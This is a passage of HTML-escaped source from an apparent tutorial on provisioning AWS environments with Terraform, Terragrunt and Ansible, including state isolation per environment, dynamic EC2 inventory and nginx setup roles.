  &lt;span class="nx"&gt;vpc_id&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc_id&lt;/span&gt;
  &lt;span class="nx"&gt;environment&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"ec2"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;source&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"../modules/ec2"&lt;/span&gt;
  &lt;span class="nx"&gt;instance_type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instance_type&lt;/span&gt;
  &lt;span class="nx"&gt;environment&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;
  &lt;span class="nx"&gt;subnet_id&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subnet_id&lt;/span&gt;
  &lt;span class="nx"&gt;sg_id&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sg_id&lt;/span&gt;
  &lt;span class="nx"&gt;key_name&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;key_name&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"null_resource"&lt;/span&gt; &lt;span class="s2"&gt;"ansible_provision"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;depends_on&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ec2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="nx"&gt;triggers&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;instance_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ec2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instance_id&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;provisioner&lt;/span&gt; &lt;span class="s2"&gt;"local-exec"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;command&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;-&lt;/span&gt;&lt;span class="no"&gt;EOT&lt;/span&gt;&lt;span class="sh"&gt;
      echo "Waiting for instance to be ready..."
      sleep 30
      cd /path/to/ansible &amp;amp;&amp;amp; \
      ansible-playbook playbooks/provision.yml -e "target_env=${var.environment}"
&lt;/span&gt;&lt;span class="no"&gt;    EOT
&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;output&lt;/span&gt; &lt;span class="s2"&gt;"instance_id"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ec2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instance_id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;output&lt;/span&gt; &lt;span class="s2"&gt;"public_ip"&lt;/span&gt;   &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ec2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;public_ip&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;output&lt;/span&gt; &lt;span class="s2"&gt;"vpc_id"&lt;/span&gt;      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc_id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that &lt;code&gt;_base/main.tf&lt;/code&gt; has no hardcoded values — no instance type, no CIDR block, no environment name. Everything comes from outside. This is what makes it reusable across environments.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3: Terragrunt — Solving the Multi-Environment Problem
&lt;/h2&gt;

&lt;p&gt;Terragrunt is a thin wrapper around Terraform. It doesn't replace Terraform — it just removes the need to duplicate &lt;code&gt;main.tf&lt;/code&gt; across environments by injecting environment-specific values at runtime.&lt;/p&gt;

&lt;p&gt;Think of &lt;code&gt;_base/main.tf&lt;/code&gt; as a function. Terragrunt calls that function with different arguments for each environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Root config
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;live/terragrunt.hcl&lt;/code&gt; is written once and inherited by all environments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;get_terragrunt_dir&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="c1"&gt;# get_terragrunt_dir() returns the current directory path&lt;/span&gt;
  &lt;span class="c1"&gt;# basename() extracts just the last segment: "dev", "staging", or "prod"&lt;/span&gt;
  &lt;span class="c1"&gt;# so env is automatically set from the folder name — no hardcoding needed&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;remote_state&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;backend&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"s3"&lt;/span&gt;
  &lt;span class="nx"&gt;config&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;bucket&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"your-tfstate-bucket"&lt;/span&gt;
    &lt;span class="nx"&gt;key&lt;/span&gt;            &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${local.env}/terraform.tfstate"&lt;/span&gt;
    &lt;span class="nx"&gt;region&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"eu-central-1"&lt;/span&gt;
    &lt;span class="nx"&gt;encrypt&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="nx"&gt;dynamodb_table&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-locks"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nx"&gt;generate&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;path&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"backend.tf"&lt;/span&gt;
    &lt;span class="nx"&gt;if_exists&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"overwrite_terragrunt"&lt;/span&gt;
    &lt;span class="c1"&gt;# backend.tf is generated automatically before every apply&lt;/span&gt;
    &lt;span class="c1"&gt;# you never write it manually&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;key&lt;/code&gt; field is the critical part. When you run from &lt;code&gt;live/dev&lt;/code&gt;, &lt;code&gt;local.env&lt;/code&gt; becomes &lt;code&gt;"dev"&lt;/code&gt;, so the state is saved to &lt;code&gt;dev/terraform.tfstate&lt;/code&gt;. From &lt;code&gt;live/prod&lt;/code&gt;, it goes to &lt;code&gt;prod/terraform.tfstate&lt;/code&gt;. State isolation is automatic.&lt;/p&gt;

&lt;h3&gt;
  
  
  Per-environment config
&lt;/h3&gt;

&lt;p&gt;Each environment only contains what's different — the input values:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;live/dev/terragrunt.hcl&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;include&lt;/span&gt; &lt;span class="s2"&gt;"root"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;find_in_parent_folders&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="c1"&gt;# inherits everything from live/terragrunt.hcl&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;terraform&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;source&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"../../_base"&lt;/span&gt;
  &lt;span class="c1"&gt;# points to the shared main.tf&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;inputs&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;environment&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"dev"&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_cidr&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.0.0.0/16"&lt;/span&gt;
  &lt;span class="nx"&gt;instance_type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"t3.micro"&lt;/span&gt;
  &lt;span class="nx"&gt;key_name&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-lab-key"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;live/prod/terragrunt.hcl&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;include&lt;/span&gt; &lt;span class="s2"&gt;"root"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;find_in_parent_folders&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;terraform&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;source&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"../../_base"&lt;/span&gt;   &lt;span class="c1"&gt;# same main.tf&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;inputs&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;environment&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"prod"&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_cidr&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.2.0.0/16"&lt;/span&gt;
  &lt;span class="nx"&gt;instance_type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"t3.medium"&lt;/span&gt;   &lt;span class="c1"&gt;# only the values differ&lt;/span&gt;
  &lt;span class="nx"&gt;key_name&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-lab-key"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To deploy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Deploy only dev&lt;/span&gt;
&lt;span class="nb"&gt;cd &lt;/span&gt;live/dev &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; terragrunt apply

&lt;span class="c"&gt;# Plan all environments at once&lt;/span&gt;
&lt;span class="nb"&gt;cd &lt;/span&gt;live &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; terragrunt run-all plan

&lt;span class="c"&gt;# Apply all environments at once&lt;/span&gt;
&lt;span class="nb"&gt;cd &lt;/span&gt;live &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; terragrunt run-all apply
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 4: Ansible — Post-Provisioning Configuration
&lt;/h2&gt;

&lt;p&gt;Terraform answers the question: &lt;em&gt;"Does this EC2 instance exist?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ansible answers the question: &lt;em&gt;"Is nginx installed on that instance and configured correctly?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;These are two different problems. Terraform manages &lt;strong&gt;infrastructure state&lt;/strong&gt;. Ansible manages &lt;strong&gt;configuration state&lt;/strong&gt;. You need both.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dynamic inventory
&lt;/h3&gt;

&lt;p&gt;Instead of hardcoding IP addresses, Ansible discovers instances by their AWS tags:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;ansible/inventory/aws_ec2.yml&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;plugin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;amazon.aws.aws_ec2&lt;/span&gt;

&lt;span class="na"&gt;regions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;eu-central-1&lt;/span&gt;

&lt;span class="na"&gt;filters&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;tag:ManagedBy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;terraform&lt;/span&gt;
  &lt;span class="na"&gt;instance-state-name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;running&lt;/span&gt;

&lt;span class="na"&gt;keyed_groups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tags.Environment&lt;/span&gt;
    &lt;span class="na"&gt;prefix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;env&lt;/span&gt;
    &lt;span class="na"&gt;separator&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_"&lt;/span&gt;

&lt;span class="na"&gt;hostnames&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;tag:Name&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;public-ip-address&lt;/span&gt;

&lt;span class="na"&gt;compose&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;ansible_host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;public_ip_address&lt;/span&gt;
  &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tags.Environment&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any running instance tagged with &lt;code&gt;ManagedBy: terraform&lt;/code&gt; is automatically discovered. Instances are grouped by their &lt;code&gt;Environment&lt;/code&gt; tag — so &lt;code&gt;dev&lt;/code&gt; instances land in the &lt;code&gt;env_dev&lt;/code&gt; group, &lt;code&gt;prod&lt;/code&gt; in &lt;code&gt;env_prod&lt;/code&gt;, and so on. Even if the IP address changes after a destroy/apply cycle, the inventory stays correct.&lt;/p&gt;

&lt;h3&gt;
  
  
  Roles
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;ansible/roles/common/tasks/main.yml&lt;/code&gt;&lt;/strong&gt; — runs on every instance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Update all packages&lt;/span&gt;
  &lt;span class="na"&gt;ansible.builtin.dnf&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*"&lt;/span&gt;
    &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;latest&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install base tools&lt;/span&gt;
  &lt;span class="na"&gt;ansible.builtin.dnf&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;git&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;htop&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vim&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;wget&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;present&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Create deploy user&lt;/span&gt;
  &lt;span class="na"&gt;ansible.builtin.user&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;deploy&lt;/span&gt;
    &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/bin/bash&lt;/span&gt;
    &lt;span class="na"&gt;groups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;wheel&lt;/span&gt;
    &lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;yes&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Grant deploy user sudo access&lt;/span&gt;
  &lt;span class="na"&gt;ansible.builtin.copy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;dest&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/etc/sudoers.d/deploy&lt;/span&gt;
    &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;deploy&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ALL=(ALL)&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;NOPASSWD:ALL"&lt;/span&gt;
    &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0440"&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Set timezone&lt;/span&gt;
  &lt;span class="na"&gt;ansible.builtin.timezone&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Europe/Istanbul&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;ansible/roles/webserver/tasks/main.yml&lt;/code&gt;&lt;/strong&gt; — installs and configures nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install nginx&lt;/span&gt;
  &lt;span class="na"&gt;ansible.builtin.dnf&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx&lt;/span&gt;
    &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;present&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Start and enable nginx&lt;/span&gt;
  &lt;span class="na"&gt;ansible.builtin.systemd&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx&lt;/span&gt;
    &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;started&lt;/span&gt;
    &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;yes&lt;/span&gt;
    &lt;span class="na"&gt;daemon_reload&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;yes&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Create environment-specific index.html&lt;/span&gt;
  &lt;span class="na"&gt;ansible.builtin.copy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;dest&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/usr/share/nginx/html/index.html&lt;/span&gt;
    &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
      &lt;span class="s"&gt;&amp;lt;h1&amp;gt;{{ app_environment }} environment&amp;lt;/h1&amp;gt;&lt;/span&gt;
      &lt;span class="s"&gt;&amp;lt;p&amp;gt;Instance: {{ ansible_facts['hostname'] }}&amp;lt;/p&amp;gt;&lt;/span&gt;
      &lt;span class="s"&gt;&amp;lt;p&amp;gt;IP: {{ ansible_facts['default_ipv4']['address'] }}&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0644"&lt;/span&gt;
  &lt;span class="na"&gt;notify&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx restart&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Playbook
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Instance provisioning&lt;/span&gt;
  &lt;span class="na"&gt;hosts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;env_{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;target_env&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}"&lt;/span&gt;
  &lt;span class="na"&gt;become&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="na"&gt;vars&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app_environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;tags.Environment&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}"&lt;/span&gt;

  &lt;span class="na"&gt;roles&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;common&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;webserver&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run against a specific environment:&lt;br&gt;
